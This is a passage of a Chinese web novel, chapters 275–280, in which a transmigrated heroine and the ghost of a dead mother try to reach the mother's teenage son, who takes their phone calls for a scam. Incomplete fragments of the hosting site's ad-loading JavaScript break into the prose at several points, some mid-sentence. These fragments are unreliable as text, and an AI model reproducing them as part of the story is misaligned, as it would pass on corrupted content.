没成想,她竟然直接穿到原主去世八年多,小反派已经是十四岁小少年的时候。 原主的身体都成灰了,她总不能以灵魂状态去做任务吧! 世界管理局为了修复这一未知原因bug,给她重塑了一副新身体,白幺幺嘴快的提要求,新身体就参照原主十八岁时的来。 女人么,谁不想永远十八岁! 第275章 灭世反派的早死亲妈(05) 至于小反派到时见到亲妈不仅死而复生,还变年轻貌美了。 哦吼,会是什么样的感受?能不能接受? who care! 反正就一句话,不管是变年轻变漂亮还是变老变丑了,你妈还是你妈,改变不了的事实哦。 主打就是一个强买强卖,不接受也得接受,别无选择。 原主的魂体情况有些特殊,活动范围被限制在了白幺幺周身的一米内。 白幺幺有点庆幸还有一米距离限制,要是来个半米,或者零距离,甚至干脆负距离。 白幺幺:“……” 距离产生美,一米不远不近的挺好的。 这也是,白幺幺同志为了满足原主小小的心愿。 没得选择,只能顶着烈日,蹲在某洋快餐的甜品站前,陪着原主触景生情忆往昔的原因。 呼了口气,白幺幺从地上站起身来,用眼神示意原主赶紧跟上。 作为一个要钱没钱,要身份证没身份证的黑户。 白幺幺觉得她现在应该先进去商场里面边吹空调边思考,她到底要在如何跨越两千多公里的距离,去京市找小反派。 “大姐姐,等……等等。” 就在白幺幺正准备转身时,一道软萌的声音将她喊住。 她循着声音垂眸看去,一个头顶顶着两个小花苞小女孩正朝她举高高手,而手上捧着一个冰激淋甜筒。 看着那冰激淋甜筒,白幺幺情不自禁的吞咽了下口水。 白幺幺:“……” 大家看错了哈,这不是她,真的。 小女孩笑着说:“大姐姐,这个给你吃。” 白幺幺往小女孩身后看了看,小女孩的妈妈见她看过来,朝她微笑的点了点头。 白幺幺同志承认自己脸皮厚比城墙,可是让一个四五岁的小女孩请吃冰激淋,她还是有那么一点点点点难为情的。 伸手从小女孩手上接过冰激淋,白幺幺道了声谢后,就张嘴嗷呜咬了一大口。 冰凉的感觉在口腔里快速蔓延,一个字,爽! 小女孩见白幺幺接过冰激淋开始吃起来,她咯咯笑了两声,也回头找妈妈拿了自己的冰激淋,开始吃起来。 小女孩妈妈摸了摸小女孩的脑袋,牵着人就要离开。 只是要离开时,脸上闪过犹豫之色,最后咬了咬唇,还是开说道:“你是在离家出走吗?” 白幺幺:“???” 理论上她现在的家在……墓园,然后她情况又比较复杂,三言两语和眼前人说不清。 嗯,说的清,也不能说。 好吧,说了,人家也未必会信的。 似是看出白幺幺的疑惑,小女孩的妈妈解释道:“我看你一直蹲在甜品站前方不远处,很渴望很想吃的样子,却又没上前去买,我猜应该是口袋里没钱。 然后我看你十七八岁的样子,从你的穿着打扮看,家里条件应该还可以,身上连几块钱都没有,有点说不过去。 所以,我猜测,你是不是和家里大人闹矛盾,一气之下直接离家出走,身上没带钱,或者带的钱花光了。” 当然,有一句话,小女孩的妈妈没说。 她觉得眼前的小姑娘瞧着就是个乖乖女,应该不会做出离家出走这样的事才对。 白幺幺:“……” 她身上没钱,这都被小女孩的妈妈看出来呢。 身无分文的黑户伤不起啊! 白幺幺想,要不找眼前的大姐借点钱,毕竟巧妇难为无米之炊。 呜呜,她午饭还没吃了。 白幺幺神色变了变,一副被说中了情况的难为情。 她咬着唇,似是做了一番心理建设后,才鼓起勇气道:“大姐姐,你能借我点钱买火车票回家吗?” 似是怕对方会不借,白幺幺忙又补充道:“我真的不是骗子,还有你可以留个联系方式或者卡号给我,等我回到家后,就把钱十倍还你。” 锦上添花容易,雪中送炭难。 十倍还钱,白幺幺真不是开玩笑的。 反正小反派现在有钱着了,等找到了小反派,她就是个不差钱的主了。 儿子的钱=妈妈的钱 没毛病,完全没毛病的,谁让儿子还未成年,钱肯定是让妈妈来保管的。 小女孩的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈犹豫了下,还是将身上仅有的现金掏出来,数了下八百三十一块。 她问:“这些够吗?” 白幺幺点了点头,“够了,不用这么多的,借给我五百块就行了。” 其实一百块也行,先解决下燃眉之急。 不过白幺幺想着都借一百了,那就多借点。 嗯,“债”多不压身。 而她又没有身份证,买啥火车票呀,所以根本不存在够不够的问题。 小女孩的妈妈点出五百块递给白幺幺,不忘语重心长道:“赶紧回家吧,下回可不能这样跑出来,家里大人会担心死的。” 小女孩的妈妈是过来人,她也没提要不要借她手机给家里人打个电话,让她们来接这样的话。 这个年纪的孩子么,最要面子。 都离家出走了,最后自己灰溜溜的回 去是一回事,打电话让家里人来接又是一回事。 尽管两者看起来都很没面子,但显然后者更没面子。 在白幺幺的坚持下,小女孩的妈妈最后还是留下了她手机号码。 不管对方信不信,白幺幺还是很认真的保证,回去后一定会十倍还钱的。 等小女孩的妈妈牵着小女孩离开后,白幺幺三两口解决完手上的冰激淋,而后去找地方吃午餐先。 从身无分文到怀揣五百块的“巨款”,白幺幺同志可没有飘了哦! 她只是选择了一家经济又实惠的快餐店,吃了一份十五元两荤一素的快餐。 味道马马虎虎,不过现在又不是她能穷讲究的时候。 吃饱喝足,白幺幺去到商场里找了个比较没人的角落,坐下来吹空调。 唉,有钱了,三餐是有着落了,可是过夜的地方还没着落呀。 去住那种不用身份证的黑旅馆? 怎么说呢,白幺幺同志有点嫌弃。 小反派啊,小反派,你快到亲亲妈咪碗里来,妈咪需要你呀! 白幺幺把手撑在下巴上,长长叹息一声。 她对面的原主此时没再忆与小反派的往昔,而是安静的看着白幺幺,准确的是看她那张熟悉又陌生的脸。 第276章 灭世反派的早死亲妈(06) 十八岁啊! 朝气蓬勃如旭日的年纪。 明明她死的时候才二十四岁不到,可再见到自己十八岁的模样,却仿若隔了一个世纪的时间长河。 察觉到她的目光,白幺幺撩起眼皮,问道:“要不我现在直接给小……咱儿子打电话。 与其咱们费劲巴拉的过去找他,还不如直接让他来见我们得了,你觉得怎么样?” 一时口快,差点把小反派三个字给秃噜了出来。 女人:“……” 儿子现在算算,十四岁了,他应该不会…… 白幺幺也没指望女人给出回答,她又问道:“你说都过去这么多年了,咱儿子还记得妈妈的声音吗?电话打过去时,他能第一时间听出来吗?” “应,应该能吧!”女人不确定道。 白幺幺轻轻一拍桌,那要不咱们就试试。 “说真的,你对他爱得如此深沉,他要是听不出你的声音,简直就太过分,太不孝了有木有。 要换成是你,哪怕过去个十几二十年,肯定第一时间就辨认出他的声音。” 原主对小反派的爱,超越了生命,超越了世间的一切。 她唯一的心愿就是阻止小反派灭世,让他幸福快乐一辈子。 如果小反派最后还是偏执的要灭世,那就替他去做这件事,不要让他脏了自己的手,同时以他的名义多做些善事。 这样,这样他没有背负罪孽,下辈子应该能投个好胎吧。 听听这心愿,不知道还以为是那种无脑宠,养出超级熊孩子的妈说出来的话。 孩子杀人她阻止不了,干脆就在旁边递刀子。 没等白幺幺继续想下去,女人的声音响起。 “安安他很乖巧懂事的,也很爱我这个妈妈的,可……可是都过去这么多年了。 十四岁的安安,声音是什么样的,我……我这个当妈的,其实,其实也没办法第一时间就听出来的。 你……你现在又是我十八岁的模样,安安,安安一时听不出来那是妈妈年轻时的声音很正常的。 安安,安安,他真的是最最乖巧,懂事,孝顺的好孩子了。” 白幺幺:“……” 护崽子的妈惹不起的啊! 还有当妈的对自家崽子的滤镜都不是一般的厚啊!! 她刚刚就是开个玩笑,活跃下气氛,怕人又陷入不好的回忆中,一时不可自拔。 瞅见她的目的算是达到了,白幺幺故作尴尬的摸了摸自己的鼻子。 她恍然道:“是哦,你没提醒,我都忘了自己现在这副身体是十八岁的,十八岁时的声音对咱们儿子来说肯定是不熟悉,甚至陌生的。” 女人忙不迭的点头,“是呀,是呀,安安可聪明了,记忆力还超级好,以前连我走路的声音都能记得住。 每回都还没见到我的人,光听脚步声就辨认出来是我回来了。 你现在的声音对他来说还陌生,等后面你们相处几天,他就能记住你的声音了。” 白幺幺说看就干,也亏得她有剧情外挂,不然上哪去知道小反派的手机号码。 出了商场,白幺幺找了一家便利店,扫了眼座机上贴着小纸条,明码标价,打的放心。 便利店的老板娘也就她进来时,侧头看了她一眼,就转过头去继续看她电视了。 在女人紧张期待复杂的眸光注视下,白幺幺从容地按下小反派的号码。 她才按下最后一个数字时,女人转换了下位置,把耳朵贴在了听筒的另一面,生怕漏听了啥。 远在两千多公里外的京市。 装修顶奢的办公室里,两双眼睛正对峙着。 其中一双眼睛是属于一个小少年的,他双眸赤红,里面的怒意似是要把目之所及的东西都灼烧殆尽。 而与小少年对峙着的另一双眼睛,则是属于一个长得与小少年有六七分相似,瞅着约莫二十八九岁男人的。 和小少年不同的是,男人的神色平静无波,眸光淡淡,不辨喜怒。 小少年双手支撑在办公桌桌沿,咬牙怒声质问,“为什么不让我打死他们?外头那些人见了你不都一个个点头哈腰,极尽谄媚的尊称您一声佛爷吗? 难道我就打死几个杂碎,你都没能力摆平,是他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们几个家里的势力让你忌惮了,还是你根本没外面吹嘘的那么厉害! 可那也是你的事,他们竟然敢跑去墓园打扰到我妈,如果……如果我再晚到一步,他们还想,还想对着我妈的墓碑……” 小少年说到这,双手青筋突起,在颤抖,他已经愤怒到了极致。 他再也压抑不住胸腔中的怒火,双手捏拳,猛地砸向桌面。 “操他妈的,我赶到的时候,他们几个裤子已经脱一半,脱一半了! 换成他们跑去你妈的墓地,往她墓碑上脱裤子浇尿,你能忍住,你能忍住不把他们打死!” 小少年身体前倾,逼视着男人,怒火已经快将他理智烧没了。 “妈的,就算你能忍,老子我也不能忍,今儿你阻止了我,没事,明儿,以后呢?我就不信你回回都能及时出现阻止我!” 男人轻皱了下眉, 在小少年那仿若要择人而噬的目光下,终于开口说了第一句话。 “不许说脏话。” 而他的这句话,仿若 往滚烫的热油里投了一把火。 小少年彻底炸了。 他随手抓起桌上的东西往男人脸上砸去,嘴上机关枪似的飙着脏话。 只不过,小少年可能是没学过啥脏话,来来回回就那几句。 “操他妈的,妈的,老子就说,就说,你管老子的,妈的,操他妈的,你管老子的……” 男人身形一闪,轻轻松松的躲开了小少年砸过来的东西。 等小少年声音渐渐小下来后,他才又淡声道:“你妈妈不会喜欢你这样说脏话的。” 愤怒中的小少年:“……” “闭嘴,不许你提我妈妈,你不配!” 小少年怒目瞪视着人,“还有,我妈妈最爱我了,无论怎样的我,她都爱。” 小少年梗着脖子信誓旦旦的说着,却没再继续方才的飙脏话行为了。 男人见人情绪稍稍平稳下来了,才道:“死对一个人来说并不是最大的惩罚,他们交给我来处理,你还小,没必要脏了你的手。” 男人的话音刚落,一阵手机铃声响起。 第277章 灭世反派的早死亲妈(07) 小少年和男人还在剑拔弩张的对峙中,这电话铃声可以说响的很不是时候。 发现是他的手机在响,小少年下意识拧眉,根本没有要接的意思。 从口袋里摸出手机来,看都不看是谁打来的,直接按掉,然后啪嗒一声重重将手机放桌上。 小少年磨了磨牙,重重冷哼一声。 “不用你,我就要自己来!” 小少年语气虽还有点冷硬,但也能隐隐听出怒火已经稍稍平息了些。 就在男人要说什么时,刚被小少年放在桌上的手机又响了。 男人和小少年同时看向手机,男人倒是依旧神色淡淡,小少爷则是蹙紧眉心。 他拿起手机,还想像刚刚那样直接按掉,甚至有把手机直接关机了的打算。 只是视线不经意扫过来电显示的号码,他微愣了下。 略显迟疑了下,他最终还是没有将电话按掉,而是接了起来。 画面回到便利店里。 电话打出去后,竟然没人接。 白幺幺想了想,决定再打一次,如果依旧没人接。 嗯,她或许应该考虑下要不要干脆把电话打到小反派亲爸那去。 反正吧,迟早都要和这人打交道的。 再说了,她现在的情况,也就小反派那亲爸能轻轻松松帮忙搞定身份的问题。 第一次电话没接通,女人脸上流露出明显的失望之色。 见白幺幺准备再打一次,她忙又将耳朵贴上去。 这回没让她们失望,电话响了几声,就被接起了。 白幺幺想也不想,对着听筒可怜兮兮的说:“儿子,我是妈妈呀,不想妈妈我今晚凄凄惨惨戚戚的流落街头,你就快点过来接妈妈回去。” 白幺幺旁边的女人:“……” 安安那么聪明,一定会误以为是什么新型诈骗形式的吧?! 便利店的老板娘:“……” 小姑娘进店时,她有扫了眼,估摸着十七八岁的样子,没想到都有儿子了! 还真是人不可貌相,海水不可斗量。 现在的小女生哟,小小年纪竟瞎胡来。 而此时那间装修顶奢的办公室里,不管是小少年还是男人,他们的表情都有点一言难尽。 小少年一开始以为这通电话是那几个人找来说客或者说和事佬。 当然也有可能是靠山,准备对他进行威逼恐吓放狠话的,也说不定。 所以,他想也没想,按下接听键,同时也按了免提。 然后他听到什么呢? 电话那头传来的是一道撒娇卖惨的女声,对方竟然还说是他妈?! 小少年本就怒气未消,这会直接被气笑了 。 他今儿才为几个狗杂碎跑去墓园,在他妈的墓地前造次,差点发疯将人打死了。 这才过去多久,竟然有人行骗骗到他这儿来了,简直…… 小少年磨牙冷声道:“你说你是我妈是吗?那你先赶紧出门挖个坑把自己埋了吧!” 话一说完,不给对面人说话的机会,小少年黑沉着脸将电话挂断。 有这一通莫名其妙的诈骗电话后,办公室的氛围一下子变得有些奇奇怪怪的。 小少年别过脸,不去看男人,此时他的情绪已经稳定下来了。 男人也收回落在小少年身上的视线,低头继续处理手头上的工作。 远在两千多公里外的便利店里。 白幺幺:“……” 纳尼—— 她那素未谋面的好大儿,竟然叫她赶紧出门挖个坑把自己埋了?! 白幺幺回头看向身旁的女人,显然她也听到了电话那头的人说了什么。 女人朝白幺幺挤出一抹浅浅笑意,小声解释道:“安安很聪明的,他应该是把你当骗子了。 毕竟若不是我亲身经历,有幸遇见了你,我也不会相信世上会存在如此怪力乱神的事。 死去的人死而复生这种离奇的事,没谁能一下子就相信的。” 女人顿了下,声音越来越小声,“安安若是仅凭你刚刚说的那几句就相信了,等见到安安后,我我离开也离开得不放心……” 白幺幺赞同的点了点头,她就是故意皮一下的。 没办法,谁让这对母子俩经历过的东西都太沉痛了。 白幺幺晃了晃手中的听筒,用眼神询问要不要再打一次。 女人咬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着唇纠结犹豫了好一会儿,才重重的点了下头。 似是担忧白幺幺这次还可能被当成骗子,再次被挂掉电话。 当然,更大的可能是,安安已经把这个号码拉黑了。 不过有一点点希望总要试试的,她真的很想再听听安安的声音。 她提醒白幺幺说,等下电话若是接通,可以先说下安安五岁生日那晚许下的那三个心愿。 这个除了她和安安,不会再有其他人知道。 这样安安起码应该不会再直接挂掉电话了。 白幺幺朝人点了点头,表示知道了。 两千多公里外的办公室里,手机铃声再次响起。 小少年皱眉扫向桌上的手机,发现又是刚刚那个号码打过来的,一时 懊恼他刚刚竟然忘记把号码拉黑了。 不过现在的骗子还真是搞笑,想骗人起码也要稍稍下点功夫。 就这种水平,也好意思出来吃这碗饭。 他拿起手机准备将来电按掉,号码拉黑处理。 只是指腹要触碰到屏幕时,他又改变主意了。 电话接通,这回他没按免提。 他问:“知道我是谁吗?” 电话那头的白幺幺:“……” 肯定知道呀,不知道她坚持不懈的打这几通电话做啥。 “我儿子呀!” 小少年咬牙,“我问的是知道我的名字吗?” 白幺幺笑嘻嘻的说:“知道呀,哪个当妈的会不知道自己儿子的名字,儿子你这是想考考妈妈吗?” 小少年:“……” 他不是!他没有!! “那你说说看。” 他的话落,电话那头立马有声音传来。 “儿啊,你放心,妈妈就是七老八十,甚至得了老年痴呆症,忘记什么也不会忘记你的名字。 你的名字不就是叫白泽安,小名安安。 妈妈当年给你取这个名字,就是希望你一辈子平平安安的,能有一个平和,安定,安康的人生。” 小少年的神色变了,有些奶凶奶凶的。 “你是谁?为什么会知道这些?打这通电话过来有什么目的?” 第278章 灭世反派的早死亲妈(08) 白幺幺捂嘴咯咯笑了两声。 “儿子,你的这三个问题,妈妈刚不是都说过了吗? 当然,如果你需要妈妈再重复一遍也没事的,谁让你是我儿子了。” 银铃般的笑声通过听筒传到小少年耳中,他的脸一下子涨红了,被气的。 白幺幺同志表示很无辜呀! 她没逗人,说的都是真话。 问她是谁? 不是电话一开始就说了,后面也一直在强调。 而为什么知道这些,不就回归到第一个问题,当妈不知道才不正常吧! 至于第三个问题,她也一开始就说了,赶紧过来接她回去,好结束她可可怜怜的流浪生活呀! 小少年何其聪明,就是听明白对面人的话中意思,所以才更气了。 就觉得对方在戏耍他,可对方不仅仅冒充他妈。 竟然还能说出那些来,这就不得不让他重新审视下对方到底要做什么了? 电话那头久久的沉默,白幺幺同志正了正颜色,语气严肃不少。 “儿子,你忘记你五岁生日那晚许下的三个愿望了吗? 第一个希望妈妈很快就能找到一个钱多事少,工作轻松的好工作,这就不说了。 可是第二个,你不是说希望自己快快长大,然后挣好多好多的钱来养妈妈,给妈妈买大房子,买漂亮的衣服吗? 呜呜,难道才过去十年不到,儿子你就忘记了吗? 呜呜,男人的嘴,果然都是骗人的鬼,不分年龄的……” 一道略显急切的声音打断了白幺幺的话,“我没忘!” 似是反应过来自己说了什么,小少年脸色更难看了。 “你到底是谁,为什么会知道这些?” 正处理工作的男人微挑了眉,抬头看了小少年一眼,没有说什么,就复又低头处理起工作来。 白幺幺很是无奈的道:“儿子,我是你妈,真的,不骗你。” 小少年:“……” 他今天才从他妈长眠的墓园回来。 这种谎言不仅拙劣,还很恶劣。 小少年不想知道对方的目的了,总归没安好心就是了。 他没有半分犹豫的再次把电话挂断,然后直接把手机往桌上一丢。 手机落到桌面上,制造出不小的动静。 嗯,他是故意的。 就是想引起某人的注意,只是又不能明说。 而某人。 嗯,也很上道,配合的抬头。 男人抬头后,视线先是扫过桌上的手机,之后落在小少年脸上。 他问:“刚刚的电话是什么情况?” 小少年冷哼一声,别过脸去。 “哼,不用你管,不就是个妄图冒充我妈的骗子,连我妈已经不在了都不知道,却知道一些明明只有我和我妈才知道的事情。” 小少年嘴上说着不用男人管,可是说出来的话却不是这样子的。 三言两语的,就将事情概括了。 男人听后,眸光一凝,黑眸中闪过一道极快的冷光。 他又问:“那你想怎么处理这骗子?” 小少年再次冷哼,“我为什么要告诉你,再说了,我为什么要处理那骗子? 我一个孩子有什么值得被骗子盯上的,说不定人家是冲着你来的。 哼,冒充我妈?后妈也是妈,人家很大可能是看上你了!” 小少年说到这,停顿了下,继续嫌弃加不满的恶声嘟囔。 “都三十好几的老男人了,还在外面乱招惹桃花,连这种骗子都招惹来了。 哼,谁想当我后妈,都下辈子,下下辈子吧!” 才三十二岁的老男人:“……” 男人知道小少年生性敏感,缺乏安全感,他轻咳一声道:“不会有后妈。” 没有郑重的承诺,也没有拍胸脯的保证,更没有举手发誓。 仅仅只是简单几个字,平静到仿若在说今天天气挺好的语气,却是男人想给足小少年的安全感。 刚两人还剑拔弩张,小少年甚至还朝人砸东西了。 这会听男人这般说,小少年脸上划过一抹可疑的不自然神色。 他将脑袋别更过去了,再次冷哼一声,而后一句话就这么……不经大脑脱口而出了。 “男人的嘴,都是骗人的鬼。” 男人:“……” 这孩子上哪学这些乱七八糟话的? 心中刚有疑惑,马上就得到解答了。 意识到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自己说了什么后,小少年皱眉,有些别扭的自言自语起来。 “刚刚那骗子虽然是骗子,但说的话却还是很有道理的。” 远在两千公里外的白幺幺:“……” 儿啊,为娘真不是骗子!不是骗子!! 电话再次被挂断了。 白幺幺回头看向女人,给了对方一个“咱儿子警觉性挺强的,防骗意识也挺高的呀”的眼神。 再打一个电话,是不可能再打一个了。 白幺幺转头喊了便利店老板娘一声。 老板娘走过了,一番操作,给白幺幺报了个三块钱的价格。 白幺幺付了钱要离开时 ,老板娘还是忍不住喊住她。 “妹子,你这岁数不大吧,有条件的话还是回学校多读点书,男人呀,没一个靠得住的。” 白幺幺:“???” 其实吧,老板娘一开始是以为白幺幺小小年纪就偷食禁果当妈了,很是惋惜。 毕竟白幺幺实在长得太乖巧水灵了。 后来听到什么儿子五岁生日,她就知道应该是自己误会了。 可紧接着,她又有了新的误会。 觉得白幺幺是在讨好某个男人的儿子,准备给人当后妈了。 一个能诱拐涉世未深小姑娘去给他孩子当后妈的男人,哼,能是什么好男人。 对于便利店老板娘的误会,白幺幺并没有解释。 她只是笑着说了声谢谢,便离开了。 重新回到商场,白幺幺又去买了一个冰激淋啃起来。 没办法这个天实在太热了。 等吃完冰激淋,她看向好几次面露忧色,欲言又止的女人。 女人见她看过来,担忧的问,“要不明天再打打电话?” 白幺幺摇头,安抚女人道:“打电话这招行不通了,不过你放心,我就是沿路乞讨,也要把你带到京市,看咱儿子一面的。” 女人:“……” 见人愣住了,白幺幺捂嘴发出爽朗的笑声。 “我刚是开玩笑的, 乞讨是不可能乞讨的。 安啦,别想那么多,很快就会有人来接我们去见咱儿子的。” 至于很快是多快,白幺幺能说她也不知道吗? 第279章 灭世反派的早死亲妈(09) 晚上快十点的时候,商场差不多要关门了,白幺幺睡眼惺忪的走出商场。 想着晚上睡觉的地方还没着落,白幺幺同志白天不得在商场里多睡点。 而且有女人在旁边守着,她完全可以放心睡。 来到商场外,微风吹来,白幺幺同志才彻底睁开眼睛。 大晚上在外面当一整宿的街溜子,也还算是挺不错的体验。 白幺幺走走停停的,看天看地,看星月,看城市的霓虹。 如今社会天眼随处见,深夜城市的治安还是不错的。 走累了,白幺幺寻一处公交站台,在候车区的座椅上坐下。 一个人又没手机啥的,多无聊,幸好旁边有人可以和她聊天解闷。 白幺幺问:“见到咱儿子后,你有什么话想对他说吗?我可以帮忙转述的,你好好想想哈。” “嗯。” 女人咬着唇,垂眸似是很认真在思考这个问题。 白幺幺仰头望了眼天上月,心里其实是有点不得劲的。 她一面知道女人很想早点看到小反派的,可一面又深知女人见到小反派后肯定会舍不得的。 这导致她莫名挺矛盾的,一面想赶紧带着人过去见小反派,了却心愿。 一面则是想反正小反派又不会跑,不用那么急着去见的。 她可以先带着女人去四处走走,最后好好看看这个世界。 女人现在也算是以另外一种方式活着,能多活几天是几天不是嘛? 只是白幺幺有眼睛,看得到的。 女人满心满脑装着的除了与儿子的回忆,就是迫不及待的想要去见儿子这件事了。 放下助人情节,尊重他人命运。 白幺幺微抬下巴,很自然的调整了下脸部表情与角度。 这不,她发现有人在偷偷拍她。 阻止是不可能阻止的。 不过,也不知道偷拍的人技术咋样? 她还是主动配合点,让人能更容易的把她拍好看些,不然拍丑了到时算谁的。 偷拍的人还挺敬业的,是准备各种角度都来一张。 嗯,白幺幺同志相当配合的。 都是打工人罢了,打工人何苦为难打工人。 那边隐匿在暗处偷拍的人,断断续续拍了不下五张。 他先自己查看了下照片,觉得可以后才将照片发送出去。 然后附上一段文字信息,内容是“佛爷,是直接抓人,还是继续暗中跟踪观察?” 察觉到躲在暗处的人已经停止偷拍行为,白幺幺压下想跑过去抢对方设备来瞅瞅的冲动。 唉,小反派很大概率会看到这照片。 某种意义上的初见,没办法直接本人美美的出场,起码照片上必须是美美的。 “那,那个我想好了。” 这时女人的声音响起,将白幺幺从飘远的思绪中拉回来。 “想,想好了啊,那你说,别担心,我记忆力很好的,听一遍就能记下来,到时准一字不落的说给咱儿子听。” 白幺幺一瞬间收起脸上多余的表情,认真且严肃。 女人被她突然的变脸整愣了下,不过还是微笑着开始说。 没有多余的开场白,直入主题。 “安安,妈妈这辈子没有后悔生下你,妈妈真的很爱很爱你。 那安安后悔被妈妈生下来吗? 怎么办? 安安。 妈妈发现自己竟然变得胆小了,不敢听你的答案。 不管了,就让妈妈耍赖一回,替安安回答这个问题好不好? 安安不后悔,不后悔这辈子当妈妈的孩子。 是不是,安安不后悔的是不是……” 女人说着说着,捂脸哭起来。 在这一刻,白幺幺或许明白了,女人付出那么大的代价,想见小反派一面,执念的根结在哪了。 白幺幺没有说什么安慰人,而是放任着女人好好哭一场。 就在女人哭得差不多,抽空抬头有些不好意思的对白幺幺说了声抱歉时,隐匿在暗处的人又有动静了。 两个一看就不像好人的男人从暗处走了出来,直接朝白幺幺她们这边走来。 嗯,不像好人是白幺幺身旁的人觉得的。 而白幺幺则恰恰相反,觉得对方是大大的好人。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 送她去见小反派亲爸的司机与保镖,能是啥坏人,必须是好人。 女人知道白幺幺应该是很厉害的存在,可她不清楚进入小世界后,白幺幺的能力会不会被限制。 她下意识起身挡在了白幺幺面前,回头脸上满是焦急担忧之色。 “怎么办?那两男的看着就不像什么好人,你现在又是十八岁小姑娘模样,很容易让他们起龌蹉心思的,要不你还是赶紧跑吧! 我记得前面两三百米处,有家二十四小时营业的便利店,你只要躲进里面,这两男的应该就不敢乱来了。” 看着挡在她面前的身影,白幺幺心里暖暖的。 她扯起嘴角朝人笑了笑,趁着那两男的还未走近,小声对人解释了下。 “没事的,他们不是坏人,而是要送咱们去见儿子(他爸)的司 机与保镖。” 一下子愣住了的女人:“……” 再多的,白幺幺也没法给人解释了,因为那两男的已经走到近前来。 都不等两人开口说话,白幺幺起身拍了拍屁股,先朝来人丢出两个字。 “走吧!” 过来请人回去的两人:“……” 他们接收到的命令是将人请回去,若是不配合,直接打晕绑回去。 没想到他们都还没说那句“这位小姐,请跟我们走一趟吧”,对方就猜出了他们的来意,还积极主动配合。 白幺幺走出两步,发现两人还愣着不走。 她回头,语气有些纳闷道:“别说你们不是来请我回去的?” 白幺幺说这话时,那表情,仿佛对方要说是,那她就会很生气的样子。 其中一人先反应过来,点了点头,“是来请你回去的。” 白幺幺满意的收回目光,催道:“那还不快点,我儿子要见我,这事可耽误不得。 不仅我儿子想快快见到我,我这个当妈也想快快见到他了!” 一瞬间风中凌乱了的两人:“……” 儿……儿子?! 这女人有儿子了? 在哪?是谁? 不是,要见这女人的是佛爷,佛爷,不是她儿子呀! 第280章 灭世反派的早死亲妈(10) 所以……这是在装疯卖傻吗?! 两人一下子提高了警惕。 若真让人从他们眼皮子底下溜走,既是他们的失职,也是对他们能力的侮辱。 一路来到车边,白幺幺同志停下来,回头看着人。 她用眼神示意人快点开车门,别耽误她上车。 两人:“……” 其中一人还是上前替白幺幺打开了车门。 差使别人是一回事,该有的礼貌还是要有的。 更何况对方还如此上道,等她上车后,很自觉揽下关车门的活。 白幺幺不吝啬自己的笑,她优雅的笑着和人道了声谢。 就在跟人走过来的路上,白幺幺决定了。 虽然吧,这辈子刚来就当妈了。 可她才十八岁,花儿一样的年纪呀! 只比好大儿才大四岁,四岁哦。 所以,她不当皇后,她要当个公主。 和儿子当姐弟,让儿子养她,保护她。 嗯,儿子应该十分开心乐意的吧! 原主对小反派的爱,无人能替代。 白幺幺不是来取代原主的,她是来加入这个大家庭的。 原主存在于小反派脑中的记忆不应该因为她的到来而被淡化,反而应该加深。 能为孩子舍命的母亲,如此大爱,值得孩子铭记缅怀一辈子。 所以嘛,没有对比,就没有伤害。 小反派,你准备好了吗? 你十八岁的小妈妈即将上线了哦! 唉! 临时起意的想法。 刚刚竟然忘记让开门的那人喊下“公主请上车”,她再上车了。 有个厉害儿子的妈,作点怎么了?! 有个厉害到灭世的儿子的妈,更作点怎么了?!! 两千多公里的路程,开车需要二三十个小时。 车子开出不到半个小时,白幺幺同志就开始作了。 她嫌弃座椅太硬了,还没办法让她舒适的躺着休息。 她要求换车,换pv商务车。 可此时车子已经上了高速,别说车上的几人不可能满足她这条件,他们就是想满足也没办法呀。 甚至有一人被白幺幺作的实在没办法了,直接放狠话要打晕她,她才委委屈屈的消停了。 坐在白幺幺身旁的女人:“……” 她有那么点的目瞪口呆。 白幺幺同志勉勉强强的开始闭目休息。 车子又开了半个多小时。 白幺幺睁开眼睛,开始喊饿,然后直接报出一长串的菜名。 车上的一众人。 高速,高速,他们此刻正在高速上。 而且请看看表,现在是几点,凌晨一点多啊! 坐副驾的男人从车上摸出一瓶矿泉水和一个面包,直接丢给后座的白幺幺。 他还事先把话说在前头了,车上就只有面包和水。 想吃别的,别说门,窗户都没有。 白幺幺微抬下巴,一副拒绝面包和矿泉水的表情,同时冷哼一声。 “你们这样虐待我,等着,等着我见到我儿子后,一定会和他告状的!” 车上的几男人:“……” 不是,他们虐待谁了? 再者,不是,你儿子是谁? 他管得到我们头上来吗? 还有,若真有儿子,那才几岁,有三岁吗? 你一个十七八岁的小姑娘,嚷嚷着要找个小娃娃告状,确定不是来搞笑的吗? 坐白幺幺身旁的女人:“……” 这…… 她轻咳一声,明知道车上除了白幺幺,其他人听不到她的声音,可说话时还是小小声的。 “你,你放心,安安,安安现在已经十四岁,是个小男子汉了。 他一定会护着你,保护你,不让人欺负你的。” 白幺幺听后,回了她一个“那可不是”的眼神。 与此同时,亮着一盏柔和夜灯的卧房里。 床上被子隆起一个人形弧度,睡梦中的人将自己整个人全都包裹在被子中,包括脑袋。 也不知道是不是这样连脑袋一起捂着太热了,还是做噩梦了。 被子底下的人此时全身湿透了,跟从水里捞起来的差不多。 忽的,窗外划过一道闪电,紧接着一声闷雷乍响。 “不要,不要离开!” 床上的人猛然坐了起来,闭着眼睛大口大口的喘着气。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也不知道过去了多久,小少年才缓过来。 察觉身上黏腻腻的,他直接下床进浴室。 只是简单冲洗了下,他就出来了。 发现床边水杯空了,小少年拿起杯子走出房间。 走到拐角时,他下意识回头望向走廊的尽头,那边的书房隐隐有光线透出来。 稍稍迟疑了下,小少年转身朝书房走去。 他没敲门,因为他为数不多的几次进到这里面都没敲门。 轻轻拧开门把手,小少年做贼般的探头往里看。 扫视了一圈,发现里面没有人后,他想也没想关上门,就要继续去倒他的水。 只是他才转身,就发现 身后不知何时站着一个人,吓得他手中的杯子差点没拿稳掉地上。 